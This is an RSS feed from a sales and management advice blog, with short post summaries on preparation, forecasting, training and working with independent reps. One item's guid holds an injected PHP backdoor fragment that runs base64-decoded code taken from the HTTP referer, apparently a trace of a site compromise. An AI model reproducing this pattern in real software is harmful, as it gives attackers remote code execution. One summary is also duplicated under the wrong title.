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	<title>Interpersonal Business &#187; Sales</title>
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	<link>http://www.interpersonalbiz.com</link>
	<description>A Sales, Marketing and Management Letter by Keenan Longcor</description>
	<lastBuildDate>Wed, 01 Feb 2012 18:18:01 +0000</lastBuildDate>
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		<title>“WHAT YOU CAN CONTROL, AND AT WHAT LEVEL” Vol. LXXI</title>
		<link>http://www.interpersonalbiz.com/2010/11/%e2%80%9cwhat-you-can-control-and-at-what-level%e2%80%9d-vol-lxxi/</link>
		<comments>http://www.interpersonalbiz.com/2010/11/%e2%80%9cwhat-you-can-control-and-at-what-level%e2%80%9d-vol-lxxi/#comments</comments>
		<pubDate>Mon, 01 Nov 2010 17:35:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Consumer Competition]]></category>
		<category><![CDATA[Management]]></category>
		<category><![CDATA[Sales]]></category>
		<category><![CDATA[Staff]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/?p=187</guid>
		<description><![CDATA[While you can’t control the outside competition, you can control other more important areas of your business.  Listed as the “competitors” that deserve most of management’s attention, and in order of most control to least control, are: Management staff, sales partners, retail customers and the consumer. ]]></description>
		<wfw:commentRss>http://www.interpersonalbiz.com/2010/11/%e2%80%9cwhat-you-can-control-and-at-what-level%e2%80%9d-vol-lxxi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>“NEW YEAR PREPERATION,” VOL. LIII</title>
		<link>http://www.interpersonalbiz.com/2009/12/%e2%80%9cnew-year-preperation%e2%80%9d-vol-liii/</link>
		<comments>http://www.interpersonalbiz.com/2009/12/%e2%80%9cnew-year-preperation%e2%80%9d-vol-liii/#comments</comments>
		<pubDate>Tue, 01 Dec 2009 17:26:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Sales Management Abundancy]]></category>
		<category><![CDATA[Preparation]]></category>
		<category><![CDATA[Productivity]]></category>
		<category><![CDATA[Sales]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/2009/12/01/%e2%80%9cnew-year-preperation%e2%80%9d-vol-liii/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</guid>
		<description><![CDATA[The New Year can often bring a loss of rhythm as productivity in the preceding weeks falls to its lowest level of the year.  Preparation is your best defense to protect your rhythm.  Understand and become familiar with your manufacturers’ new introductions.  Focus on your responsibility of selling your best!  Take greater control of each sale.   Become an industry “expert,” with information on products other than your own.  Always come prepared!]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>THE TRANSITION OF TECHNOLOGY IN BUSINESS Vol. XXXXVI</title>
		<link>http://www.interpersonalbiz.com/2009/08/the-transition-of-technology-in-business-vol-xxxxvi/</link>
		<comments>http://www.interpersonalbiz.com/2009/08/the-transition-of-technology-in-business-vol-xxxxvi/#comments</comments>
		<pubDate>Sat, 15 Aug 2009 16:57:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Sales Management Abundancy]]></category>
		<category><![CDATA[Sales With Purpose]]></category>
		<category><![CDATA[Efficiencies]]></category>
		<category><![CDATA[Evolution]]></category>
		<category><![CDATA[Revenue]]></category>
		<category><![CDATA[Sales]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/sales-with-purpose/the-transition-of-technology-in-business-vol-xxxxvi.html</guid>
		<description><![CDATA[The pace is picking up, with the daily evolution of American business.  The pace was much simpler years ago, more personal in many cases.  Effectiveness in our revenue producing hours will define our productivity; we are now expected to produce more in the same amount of time.  Order takers will not survive the new economy.  Technology has and will continue to impact us all.  “When” has become “now.”]]></description>
		<wfw:commentRss>http://www.interpersonalbiz.com/2009/08/the-transition-of-technology-in-business-vol-xxxxvi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>“CRITICAL MASS” Vol. XXXXIII</title>
		<link>http://www.interpersonalbiz.com/2009/07/%e2%80%9ccritical-mass%e2%80%9d-vol-xxxxiii/</link>
		<comments>http://www.interpersonalbiz.com/2009/07/%e2%80%9ccritical-mass%e2%80%9d-vol-xxxxiii/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 16:55:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Sales Management Abundancy]]></category>
		<category><![CDATA[Sales Strategies]]></category>
		<category><![CDATA[Sales With Purpose]]></category>
		<category><![CDATA[Critical Mass]]></category>
		<category><![CDATA[Executed]]></category>
		<category><![CDATA[Foundation]]></category>
		<category><![CDATA[Habits]]></category>
		<category><![CDATA[Sales]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/sales-with-purpose/%e2%80%9ccritical-mass%e2%80%9d-vol-xxxxiii.html</guid>
		<description><![CDATA[A bad idea well executed has a much greater potential for success than a good idea poorly executed.  It’s all in the critical mass.  How bad do you want it, and are you willing to pay the price?  Repeated efforts establish a foundation for success; remember try, try, again?  Don’t just make a plan - put it into action. Options become available to you.  The alternative is in the consequences we must accept.]]></description>
		<wfw:commentRss>http://www.interpersonalbiz.com/2009/07/%e2%80%9ccritical-mass%e2%80%9d-vol-xxxxiii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>“ACCEPTING CHANGE” Vol. XXXXII</title>
		<link>http://www.interpersonalbiz.com/2009/06/%e2%80%9caccepting-change%e2%80%9d-vol-xxxxii/</link>
		<comments>http://www.interpersonalbiz.com/2009/06/%e2%80%9caccepting-change%e2%80%9d-vol-xxxxii/#comments</comments>
		<pubDate>Mon, 15 Jun 2009 17:47:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Sales Management Abundancy]]></category>
		<category><![CDATA[Sales Strategies]]></category>
		<category><![CDATA[Sales With Purpose]]></category>
		<category><![CDATA[Acceptance]]></category>
		<category><![CDATA[Change]]></category>
		<category><![CDATA[Relationship]]></category>
		<category><![CDATA[Reluctant]]></category>
		<category><![CDATA[Sales]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/sales-with-purpose/%e2%80%9caccepting-change%e2%80%9d-vol-xxxxii.html</guid>
		<description><![CDATA[A bad idea well executed has a much greater potential for success than a good idea poorly executed.  It’s all in the critical mass.  How bad do you want it, and are you willing to pay the price?  Repeated efforts establish a foundation for success; remember try, try, again?  Don’t just make a plan; put it into action. Options become available to you.  The alternative is in the consequences we must accept.]]></description>
		<wfw:commentRss>http://www.interpersonalbiz.com/2009/06/%e2%80%9caccepting-change%e2%80%9d-vol-xxxxii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>“GIVE ME HONESTY, RESPECT, AND DISCIPLINE” VOL. XXXVIII</title>
		<link>http://www.interpersonalbiz.com/2009/04/%e2%80%9cgive-me-honesty-respect-and-discipline%e2%80%9d-vol-xxxviii/</link>
		<comments>http://www.interpersonalbiz.com/2009/04/%e2%80%9cgive-me-honesty-respect-and-discipline%e2%80%9d-vol-xxxviii/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 15:23:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Sales]]></category>
		<category><![CDATA[Management]]></category>
		<category><![CDATA[Relationships]]></category>
		<category><![CDATA[Style]]></category>
		<category><![CDATA[Values]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/management-rewards/%e2%80%9cgive-me-honesty-respect-and-discipline%e2%80%9d-vol-xxxviii.html</guid>
		<description><![CDATA[We all have a different approach and style.  Effective management is consistent with strong values.  Nice guys can win!  A false sense of power will be one's downfall.  Professional space is critical in working relationships.  Begin with an open mind and a low profile.   Establish an encouraging style before you establish your role.  Rise to the occasion for those around you and they will do the same for you. ]]></description>
		<wfw:commentRss>http://www.interpersonalbiz.com/2009/04/%e2%80%9cgive-me-honesty-respect-and-discipline%e2%80%9d-vol-xxxviii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>“NO IFS ANDS OR BUTS” VOL. XXXVII</title>
		<link>http://www.interpersonalbiz.com/2009/04/%e2%80%9cno-ifs-ands-or-buts%e2%80%9d-vol-xxxvii/</link>
		<comments>http://www.interpersonalbiz.com/2009/04/%e2%80%9cno-ifs-ands-or-buts%e2%80%9d-vol-xxxvii/#comments</comments>
		<pubDate>Wed, 01 Apr 2009 15:23:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Sales Strategies]]></category>
		<category><![CDATA[Sales With Purpose]]></category>
		<category><![CDATA[Advantage]]></category>
		<category><![CDATA[Perceptions]]></category>
		<category><![CDATA[Sales]]></category>
		<category><![CDATA[Strengths]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/management-rewards/%e2%80%9cno-ifs-ands-or-buts%e2%80%9d-vol-xxxvii.html</guid>
		<description><![CDATA[Don’t let the camouflage of others' rationalizations affect your outcome.  The bottom line is, “what is, is.”  A collective strategy will insure victory in the field. Take full advantage of your strengths.  Present the facts; don’t allow others to form contrary conclusions.  We must leave our own product perceptions at the door.  Be creative with assortments; pick a product of the week and present it at every appointment.  Become greater involved in the product development process.  Share what you know.]]></description>
		<wfw:commentRss>http://www.interpersonalbiz.com/2009/04/%e2%80%9cno-ifs-ands-or-buts%e2%80%9d-vol-xxxvii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>“DEFINED SALES OBJECTIVES,” VOL. XXXV</title>
		<link>http://www.interpersonalbiz.com/2009/03/%e2%80%9cdefined-sales-objectives%e2%80%9d-vol-xxxv/</link>
		<comments>http://www.interpersonalbiz.com/2009/03/%e2%80%9cdefined-sales-objectives%e2%80%9d-vol-xxxv/#comments</comments>
		<pubDate>Sun, 01 Mar 2009 15:21:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Strategies]]></category>
		<category><![CDATA[Sales Management Abundancy]]></category>
		<category><![CDATA[Expectations]]></category>
		<category><![CDATA[Forecasts]]></category>
		<category><![CDATA[Objectives]]></category>
		<category><![CDATA[Sales]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/sales-management-abundancy/%e2%80%9cdefined-sales-objectives%e2%80%9d-vol-xxxv.html</guid>
		<description><![CDATA[Sales forecasts based on quality information are essential to management in order to present effective and consistent expectations.  Develop objectives, periodically review these objectives with your sales people, and recognize your star performers.  Forecasts also provide a foundation for making a change due to lack of performance; there should be no surprises when the time comes!]]></description>
		<wfw:commentRss>http://www.interpersonalbiz.com/2009/03/%e2%80%9cdefined-sales-objectives%e2%80%9d-vol-xxxv/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>“CHALLENGES FOR MANUFACTURERS AND INDEPENDENT REPRESENTATION,” VOLUME XVIII</title>
		<link>http://www.interpersonalbiz.com/2008/06/%e2%80%9cchallenges-for-manufacturers-and-independent-representation%e2%80%9d-volume-xviii/</link>
		<comments>http://www.interpersonalbiz.com/2008/06/%e2%80%9cchallenges-for-manufacturers-and-independent-representation%e2%80%9d-volume-xviii/#comments</comments>
		<pubDate>Sun, 15 Jun 2008 17:48:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Management Rewards]]></category>
		<category><![CDATA[Sales Management Abundancy]]></category>
		<category><![CDATA[Independent]]></category>
		<category><![CDATA[Sales]]></category>
		<category><![CDATA[Teams]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/management-rewards/%e2%80%9cchallenges-for-manufacturers-and-independent-representation%e2%80%9d-volume-xviii.html</guid>
		<description><![CDATA[Using commissioned, independent sales people provides manufacturers with a fixed cost of sales and a higher caliber sales team where compensation is consistent with performance.  The greatest advantage for sales agencies is one of flexibility, diversity in representing multiple manufacturers, and the ability to react to the needs of their region’s marketplace.  Successful manufacturer – sales team relationships must have a “work with” rather than “work for” attitude.]]></description>
		<wfw:commentRss>http://www.interpersonalbiz.com/2008/06/%e2%80%9cchallenges-for-manufacturers-and-independent-representation%e2%80%9d-volume-xviii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sales Training Principals, Volume VII</title>
		<link>http://www.interpersonalbiz.com/2008/02/sales-training-principals/</link>
		<comments>http://www.interpersonalbiz.com/2008/02/sales-training-principals/#comments</comments>
		<pubDate>Mon, 11 Feb 2008 19:32:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Sales Management Abundancy]]></category>
		<category><![CDATA[Sales With Purpose]]></category>
		<category><![CDATA[Rewards]]></category>
		<category><![CDATA[Sales]]></category>
		<category><![CDATA[Training]]></category>

		<guid isPermaLink="false">http://www.interpersonalbiz.com/sales-with-purpose/sales-training-principals.html</guid>
		<description><![CDATA[Natural ability and previous experience should not be expected to replace solid training.  Training should focus on developing relationships, establishing priorities, and organization.  Avoid conclusions in your first ninety days; it’s a trap.  Look for truth beyond the surface in what may seem to be “facts.”  Accept there will be problems nd the challenge ahead.  New business is the lifeline for all sales people.  Time management is your single greatest challenge.  Patience breeds confidence.  Managers have a responsibility to create an environment for success.]]></description>
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		<slash:comments>0</slash:comments>
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